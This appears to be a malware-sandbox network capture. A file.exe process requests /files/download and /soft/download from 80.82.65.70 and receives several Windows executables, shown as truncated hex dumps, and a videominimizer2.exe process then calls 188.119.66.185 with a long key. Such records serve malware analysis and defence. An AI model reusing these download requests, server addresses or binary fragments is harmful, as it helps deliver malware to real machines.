Dec 12, 2024 16:48:00.743612051 CET	1236	IN	Data Raw: df fc 63 59 94 94 22 2e 6e b1 dd f8 1b 24 0c 47 af 41 b3 94 25 ae 63 05 68 cb 3a 78 6c 3a e6 0d fb 89 7f 8a 63 45 33 22 3e 37 2f cf bc bf dc 07 94 6d 6c 26 9b 2d c4 5a 8b a4 95 2b 63 98 62 c1 cf a5 66 8f c2 9e 15 af 99 71 41 93 5a 45 26 fd cf ad Data Ascii: cY".n$GA%ch:xl:cE3">7/ml&-Z+cbfqAZE&j;{1:w\1`gub%gi&!3h+bn,awiHeKQZXrU)DT"->KTgx;1xY6#'BsZy
Dec 12, 2024 16:48:00.743647099 CET	1236	IN	Data Raw: ab 83 12 71 60 ef ac 34 32 d8 70 30 3b 55 9a 12 0e 9f 26 6c be 1f b1 56 29 68 86 1f 1c a5 97 2c 74 ca 37 9a 6a 55 f9 be e3 48 f7 00 72 6f 42 12 41 ec 23 16 2d cd d2 bf 20 52 76 63 2b 78 75 0d b1 13 ba b8 e6 b9 b1 8c 54 24 79 51 3b b2 29 1b ba 44 Data Ascii: q`42p0;U&lV)h,t7jUHroBA#- Rvc+xuT$yQ;)D<1:XRE^7ipg/]BYZe'0ZiU4Nk+@V,E#LQ$iT{}@zFA8F /7B@57ARN"lU^-
Dec 12, 2024 16:48:00.743681908 CET	1236	IN	Data Raw: 2b ed b6 90 93 b5 cb e9 5b 81 d3 0a ac cd 19 0a b7 db 61 4d 90 7d 85 3c 51 38 f9 08 b0 8a 2c 52 5c 3b a3 28 21 b4 b3 8b 95 1d cf 79 a5 e6 17 de 83 a8 dd 37 7c d0 40 73 1a 93 09 91 ed df 13 89 28 1d 8a d0 67 8b 19 59 81 4b 0b 18 94 db ad 26 01 9f Data Ascii: +[aM}<Q8,R\;(!y7\|@s(gYK&&nB<H3Qh-`uK^TG{cKiF{R_y\|w.y0Pc-:gZdSw^P;$)SL'3{y
Dec 12, 2024 16:48:00.751703024 CET	1236	IN	Data Raw: 54 e5 fd b2 c6 83 f0 18 cc 3c bb a5 89 7b 89 54 98 d8 15 a6 fa 49 a4 67 d0 03 82 eb c7 42 29 b9 76 f8 01 5c 2b 20 0a 5c 1d 33 83 13 83 42 79 3d 7e c9 17 b3 a3 51 aa c8 b6 32 7d 48 b8 ad f1 c2 7d 0a 69 9d c2 d2 7a 9b 73 02 47 89 ff 76 3e 73 48 a6 Data Ascii: T<{TIgB)v\+ \3By=~Q2}H}izsGv>sH4w3*gWM\|E j;zq{1"7:ZSe%%_d6YLVl]Rk&06B>lJk(:OB+8aQ$Mnwka{
Dec 12, 2024 16:48:00.751841068 CET	1236	IN	Data Raw: 5c d2 2a c3 33 ff 78 3e 6f b5 ff a6 6c 71 6d 25 ef c6 14 af 9c 6f 38 91 81 96 1f ad 1d af 35 bc c0 00 0c 9f 24 93 c9 3c e6 d2 fa 28 eb 2b 80 23 82 81 de 2e ac 96 52 f9 19 0f 6b e2 00 36 46 1d c0 9d 55 0b 0f 62 85 f0 77 cb de 0e 5b 62 17 62 91 0d Data Ascii: \3x>olqm%o85$<(+#.Rk6FUbw[bbK[FV%#33<ilf.JiN<T=vroh'ekzw,`3MG]snz1;DBKG4h2)N%5^6x8dW61~
Dec 12, 2024 16:48:01.236520052 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 16:48:02.157536030 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 15:48:01 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="ONE.file"; Content-Length: 4250887 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*F@@@@P,CODEd `DATAL@BSS.idataP@.tls.rdata@P.reloc@P.rsrc,,@P@@P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49851	80.82.65.70	80	6784	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 16:48:10.812932014 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 16:48:12.146337986 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 15:48:11 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="PAB1.file"; Content-Length: 4608 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d9 07 c8 de 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 08 00 00 00 08 00 00 00 00 00 00 de 26 00 00 00 20 00 00 00 40 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8c 26 00 00 4f 00 00 00 00 40 00 00 bc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 0c 00 00 00 ec 25 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL"0& @@ @&O@`%8 H.text `.rsrc@@@.reloc`@B&H\ (BSJBv4.0.30319l#~,H#Stringst#USx#GUID#BlobG3xZ!,IA&`5{@AP #R ;)19
Dec 12, 2024 16:48:12.146400928 CET	1236	IN	Data Raw: 10 00 41 00 d4 01 10 00 49 00 d4 01 10 00 51 00 d4 01 10 00 59 00 d4 01 10 00 61 00 d4 01 15 00 69 00 d4 01 10 00 71 00 d4 01 10 00 79 00 d4 01 10 00 81 00 d4 01 06 00 2e 00 0b 00 29 00 2e 00 13 00 32 00 2e 00 1b 00 51 00 2e 00 23 00 5a 00 2e 00 Data Ascii: AIQYaiqy.).2.Q.#Z.+k.3k.;k.CZ.Kq.Sk.[k.c.k.s<Module>mscorlibGuidAttributeDebuggableAttributeComV
Dec 12, 2024 16:48:12.146436930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 00 00 00 00 00 00 00 00 00 00 00 00 5f 43 6f 72 45 78 65 4d 61 69 6e 00 6d 73 63 6f 72 65 65 2e 64 6c 6c 00 00 00 00 00 ff 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: &_CorExeMainmscoree.dll% @
Dec 12, 2024 16:48:12.146472931 CET	1162	IN	Data Raw: 2e 00 30 00 2e 00 30 00 2e 00 30 00 00 00 38 00 08 00 01 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 00 00 31 00 2e 00 30 00 2e 00 30 00 2e 00 30 00 00 00 cc 43 00 00 ea 01 00 00 00 00 00 00 Data Ascii: .0.0.08Assembly Version1.0.0.0C<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49864	80.82.65.70	80	6784	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 16:48:16.759825945 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 16:48:18.094893932 CET	204	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 15:48:17 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49875	80.82.65.70	80	6784	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 16:48:21.276339054 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 16:48:22.766161919 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 15:48:22 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Dec 12, 2024 16:48:22.766302109 CET	1236	IN	Data Raw: 00 00 0a 28 76 00 00 0a 2a 8a 02 7b 23 00 00 04 02 7b 23 00 00 04 6f 77 00 00 0a 02 6f 78 00 00 0a 28 2b 00 00 06 6f 79 00 00 0a 2a a6 02 7b 1f 00 00 04 2c 0e 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2b 0c 02 02 7b 21 00 00 04 6f 6f 00 00 0a 02 28 32 Data Ascii: (v{#{#owox(+oy{,{ oo+{!oo(2z,{",{"o/(z((X[((X[((X[(q~(-(-(*~to(3to^(
Dec 12, 2024 16:48:22.766335011 CET	1236	IN	Data Raw: 0a 2a 1e 02 7b 52 00 00 04 2a 32 02 7b 63 00 00 04 6f f2 00 00 0a 2a 52 02 03 7d 55 00 00 04 02 7b 63 00 00 04 03 6f 6f 00 00 0a 2a 1e 02 7b 51 00 00 04 2a 22 02 03 7d 51 00 00 04 2a 32 02 7b 63 00 00 04 6f 77 00 00 0a 2a 7e 02 7b 63 00 00 04 03 Data Ascii: {R2{coR}U{coo{Q"}Q2{cow~{coy}]so2{cosN{cop(2{dosN{dop({VR}Vs({WR}Ws(F{cot
Dec 12, 2024 16:48:22.766345978 CET	1236	IN	Data Raw: 02 03 7d 71 00 00 04 2a 1e 02 7b 72 00 00 04 2a 22 02 03 7d 72 00 00 04 2a 1e 02 28 30 01 00 0a 2a 1e 02 7b 73 00 00 04 2a 22 02 03 7d 73 00 00 04 2a 1e 02 7b 74 00 00 04 2a 22 02 03 7d 74 00 00 04 2a 1e 02 7b 75 00 00 04 2a 22 02 03 7d 75 00 00 Data Ascii: }q{r"}r(0{s"}s{t"}t{u"}uN((((z,{v,{vo/((5"}xN{o9o<&{\|f}\|{{\|o2{o?*{o9(
Dec 12, 2024 16:48:22.766442060 CET	1236	IN	Data Raw: 0a 02 02 fe 06 5d 01 00 06 73 89 00 00 0a 28 95 00 00 0a 02 16 28 97 00 00 0a 2a e6 02 72 a8 0f 00 70 7d 9f 00 00 04 02 72 a8 0f 00 70 7d a1 00 00 04 02 72 a8 0f 00 70 7d a2 00 00 04 02 72 a8 0f 00 70 7d a3 00 00 04 02 28 18 01 00 0a 02 28 81 01 Data Ascii: ]s((rp}rp}rp}rp}(({{{"}{"}{(dt%r2poeoftogz,{,{o/(*rp}rp}sm}
Dec 12, 2024 16:48:22.766453981 CET	1236	IN	Data Raw: 04 6f 2f 00 00 0a 02 03 28 7a 00 00 0a 2a 1e 02 7b cd 00 00 04 2a 76 03 16 30 0b 72 10 16 00 70 73 41 01 00 0a 7a 02 03 7d cd 00 00 04 02 28 da 01 00 06 2a 1e 02 7b ce 00 00 04 2a 76 02 03 7d ce 00 00 04 02 28 db 00 00 0a 2c 07 02 03 7d d1 00 00 Data Ascii: o/(z{v0rpsAz}({v}(,}({:}({:}(({o{ZX/{o{ZX((J{oooJ{oxo2{
Dec 12, 2024 16:48:22.766465902 CET	1236	IN	Data Raw: 7d 03 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 04 01 00 04 2a 3a 02 03 7d 04 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 05 01 00 04 2a 3a 02 03 7d 05 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 06 01 00 04 2a 3a 02 03 7d 06 01 00 04 02 28 6d 02 00 06 2a 1e Data Ascii: }(m{:}(m{:}(m{:}(m{{:}(m{:}(m{:}(m{:}(m{2{o^{{oo:}(m:
Dec 12, 2024 16:48:22.766608000 CET	1236	IN	Data Raw: 02 7b 2b 01 00 04 03 6f 6f 00 00 0a 2a 32 02 7b 2b 01 00 04 6f f2 00 00 0a 2a 7a 03 2c 13 02 7b 2a 01 00 04 2c 0b 02 7b 2a 01 00 04 6f 2f 00 00 0a 02 03 28 7a 00 00 0a 2a 0a 16 2a 36 02 28 26 00 00 0a 02 28 dd 02 00 06 2a 52 02 28 26 00 00 0a 03 Data Ascii: {+oo2{+oz,{,{o/(z*6(&(R(&o(z,{-,{-o/(2s}-}6{=ob-{=o\rTp(;&z,{<,{<o/(z:{0ot*:{/ot
Dec 12, 2024 16:48:22.766629934 CET	1236	IN	Data Raw: 00 06 28 39 00 00 0a 2a 56 72 52 1d 00 70 72 96 1d 00 70 72 ac 1d 00 70 28 41 03 00 06 2a 56 72 a8 0f 00 70 80 5d 01 00 04 7e d8 01 00 0a 80 5e 01 00 04 2a 3e 02 fe 15 39 00 00 02 02 03 7d 5f 01 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 Data Ascii: (9VrRprprp(AVrp]~^>9}_(Co(D(E}_(F(E(&>:}d(Co(D}d(F(E(&";><}n{u"}u{v"}v{w"
Dec 12, 2024 16:48:22.766643047 CET	556	IN	Data Raw: 01 00 04 2c 0e 02 7b 99 01 00 04 02 04 6f 23 02 00 0a 2a 04 17 6f 14 04 00 06 2a 8a 02 7b a6 01 00 04 03 6f 28 02 00 0a 2c 12 02 7b a6 01 00 04 03 6f 29 02 00 0a 6f 2c 04 00 06 2a 16 2a 2a 03 75 10 00 00 01 14 fe 03 2a 1e 02 7b aa 01 00 04 2a 22 Data Ascii: ,{o#o{o(,{o)o,**u{"}{J{{(F(uNoKJ(uNoLF(uNoMJ(uNoN{"}{"}{"}
Dec 12, 2024 16:48:22.886158943 CET	1236	IN	Data Raw: 02 03 7d d1 01 00 04 2a 1e 02 7b d2 01 00 04 2a 22 02 03 7d d2 01 00 04 2a 1e 02 7b d3 01 00 04 2a 22 02 03 7d d3 01 00 04 2a 1e 02 7b d4 01 00 04 2a 22 02 03 7d d4 01 00 04 2a 1e 02 7b d5 01 00 04 2a 22 02 03 7d d5 01 00 04 2a 1e 02 7b d6 01 00 Data Ascii: }{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49882	80.82.65.70	80	6784	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 16:48:23.738234997 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: s Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 16:48:25.319658041 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 15:48:24 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="soft"; Content-Length: 1502720 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU ((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(tN(((0f(8Mo9:oo-
Dec 12, 2024 16:48:25.319680929 CET	1236	IN	Data Raw: 61 02 7b 11 00 00 04 1b 8d 3c 00 00 01 25 16 09 6f 1f 00 00 0a a2 25 17 72 2f 01 00 70 a2 25 18 11 05 28 12 00 00 06 a2 25 19 72 33 01 00 70 a2 25 1a 11 04 28 12 00 00 06 a2 28 20 00 00 0a 6f 21 00 00 0a 02 7b 12 00 00 04 11 05 1f 64 6a 5a 11 04 Data Ascii: a{<%o%r/p%(%r3p%(( o!{djZ[("o#83^{<%o%r/p%(%r3p%(( o!{djZ[("o#+`3\{<%o%r/p%(%r3
Dec 12, 2024 16:48:25.319693089 CET	1236	IN	Data Raw: 7b 17 00 00 04 19 6f 48 00 00 0a 02 7b 17 00 00 04 16 6f 49 00 00 0a 02 7b 17 00 00 04 72 1d 02 00 70 6f 4a 00 00 0a 02 7b 17 00 00 04 28 4b 00 00 0a 6f 4c 00 00 0a 02 7b 17 00 00 04 28 4d 00 00 0a 6f 4e 00 00 0a 02 7b 17 00 00 04 72 35 02 00 70 Data Ascii: {oH{oI{rpoJ{(KoL{(MoN{r5p"AsOoP{(<oQ{rKpoRtPoS{oT{oU{oV{oW{oX{oY{#oZ{o
Dec 12, 2024 16:48:25.319710970 CET	1236	IN	Data Raw: 45 00 00 0a 02 7b 08 00 00 04 72 39 03 00 70 6f 21 00 00 0a 02 7b 09 00 00 04 28 46 00 00 0a 6f 47 00 00 0a 02 7b 09 00 00 04 28 3c 00 00 0a 6f 39 00 00 0a 02 7b 09 00 00 04 19 6f 48 00 00 0a 02 7b 09 00 00 04 16 6f 49 00 00 0a 02 7b 09 00 00 04 Data Ascii: E{r9po!{(FoG{(<o9{oH{oI{rqpoJ{(KoL{(MoN{r5p"AsOoP{(<oQ{rypoRtPoS{oT{oU{oV{oW
Dec 12, 2024 16:48:25.319828033 CET	1236	IN	Data Raw: 7b 0b 00 00 04 1a 1b 1a 1b 73 40 00 00 0a 6f 41 00 00 0a 02 7b 0b 00 00 04 72 47 04 00 70 6f 42 00 00 0a 02 7b 0b 00 00 04 20 2c 05 00 00 20 81 00 00 00 73 43 00 00 0a 6f 44 00 00 0a 02 7b 0b 00 00 04 1e 6f 45 00 00 0a 02 7b 0b 00 00 04 02 fe 06 Data Ascii: {s@oA{rGpoB{ , sCoD{oE{skol{oi{rUp"@AsOoP{Es>o?{s@oA{rwpoB{ #sCoD{oE{rpo!
Dec 12, 2024 16:48:25.319840908 CET	1236	IN	Data Raw: 0f 00 00 04 28 76 00 00 0a 6f 77 00 00 0a 02 7b 0f 00 00 04 20 67 02 00 00 1f 34 73 43 00 00 0a 6f 44 00 00 0a 02 7b 0f 00 00 04 1f 0d 6f 45 00 00 0a 02 7b 0f 00 00 04 16 6f 23 00 00 0a 02 7b 14 00 00 04 17 6f 69 00 00 0a 02 7b 14 00 00 04 72 35 Data Ascii: (vow{ g4sCoD{oE{o#{oi{r5p"dAsOoP{ s>o?{s@oA{rpoB{ *sCoD{oE{r-po!{(so9{ot
Dec 12, 2024 16:48:25.319853067 CET	1236	IN	Data Raw: 02 7b 1a 00 00 04 1a 1b 1a 1b 73 40 00 00 0a 6f 41 00 00 0a 02 7b 1a 00 00 04 72 21 07 00 70 6f 42 00 00 0a 02 7b 1a 00 00 04 20 25 01 00 00 20 ee 00 00 00 73 43 00 00 0a 6f 44 00 00 0a 02 7b 1a 00 00 04 1a 6f 6f 00 00 0a 02 7b 1a 00 00 04 1b 6f Data Ascii: {s@oA{r!poB{ % sCoD{oo{op{oq{or{sgoh"A"As(( WsC((:{o;(:{o;(:{o;(
Dec 12, 2024 16:48:25.319865942 CET	1236	IN	Data Raw: 0a 6f 4c 00 00 0a 02 7b 1f 00 00 04 06 72 b5 04 00 70 6f 52 00 00 0a 74 50 00 00 01 6f 6d 00 00 0a 02 7b 1f 00 00 04 14 6f 6e 00 00 0a 02 7b 1f 00 00 04 20 71 04 00 00 1f 12 73 3e 00 00 0a 6f 3f 00 00 0a 02 7b 1f 00 00 04 1a 1b 1a 1b 73 40 00 00 Data Ascii: oL{rpoRtPom{on{ qs>o?{s@oA{rpoB{Q?sCoD{oo{op{oq{or{ sgoh{ oi{ rUp"AsOoP{
Dec 12, 2024 16:48:25.319989920 CET	1236	IN	Data Raw: 23 00 00 04 28 3c 00 00 0a 6f 39 00 00 0a 02 7b 23 00 00 04 19 6f 48 00 00 0a 02 7b 23 00 00 04 16 6f 49 00 00 0a 02 7b 23 00 00 04 72 a7 02 00 70 6f 4a 00 00 0a 02 7b 23 00 00 04 28 4b 00 00 0a 6f 4c 00 00 0a 02 7b 23 00 00 04 28 4d 00 00 0a 6f Data Ascii: #(<o9{#oH{#oI{#rpoJ{#(KoL{#(MoN{#r5p"AsOoP{#(<oQ{#rpoRtPoS{#oT{#oU{#oV{#oW{#oX{#oY{##
Dec 12, 2024 16:48:25.320002079 CET	1236	IN	Data Raw: 00 04 02 fe 06 24 00 00 06 73 67 00 00 0a 6f 68 00 00 0a 02 7b 26 00 00 04 28 46 00 00 0a 6f 47 00 00 0a 02 7b 26 00 00 04 28 3c 00 00 0a 6f 39 00 00 0a 02 7b 26 00 00 04 19 6f 48 00 00 0a 02 7b 26 00 00 04 16 6f 49 00 00 0a 02 7b 26 00 00 04 72 Data Ascii: $sgoh{&(FoG{&(<o9{&oH{&oI{&rSpoJ{&(KoL{&(MoN{&r5p"AsOoP{&(<oQ{&rpoRtPoS{&oT{&oU{&oV{&oW
Dec 12, 2024 16:48:25.439635038 CET	1236	IN	Data Raw: 7b 2c 00 00 04 1f 20 20 6e 01 00 00 73 3e 00 00 0a 6f 3f 00 00 0a 02 7b 2c 00 00 04 1a 1b 1a 1b 73 40 00 00 0a 6f 41 00 00 0a 02 7b 2c 00 00 04 72 21 07 00 70 6f 42 00 00 0a 02 7b 2c 00 00 04 20 09 01 00 00 20 10 01 00 00 73 43 00 00 0a 6f 44 00 Data Ascii: {, ns>o?{,s@oA{,r!poB{, sCoD{,oo{,op{,oq{,or{,&sgoh"A"As(( PsC((:{o;(:{"o;(:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49987	188.119.66.185	443	7852	C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:49:05 UTC	283	OUT	GET /ai/?key=8f3f2b3ab942463b774fe6a0231e72eee7c4db7e40b82a8dcd6c946851e300888c3250aa15d605633775b0e650f7ba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda332511d6358c HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) Host: 188.119.66.185
2024-12-12 15:49:06 UTC	200	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 15:49:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33
2024-12-12 15:49:06 UTC	24	IN	Data Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a Data Ascii: e8b723663ec13250

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
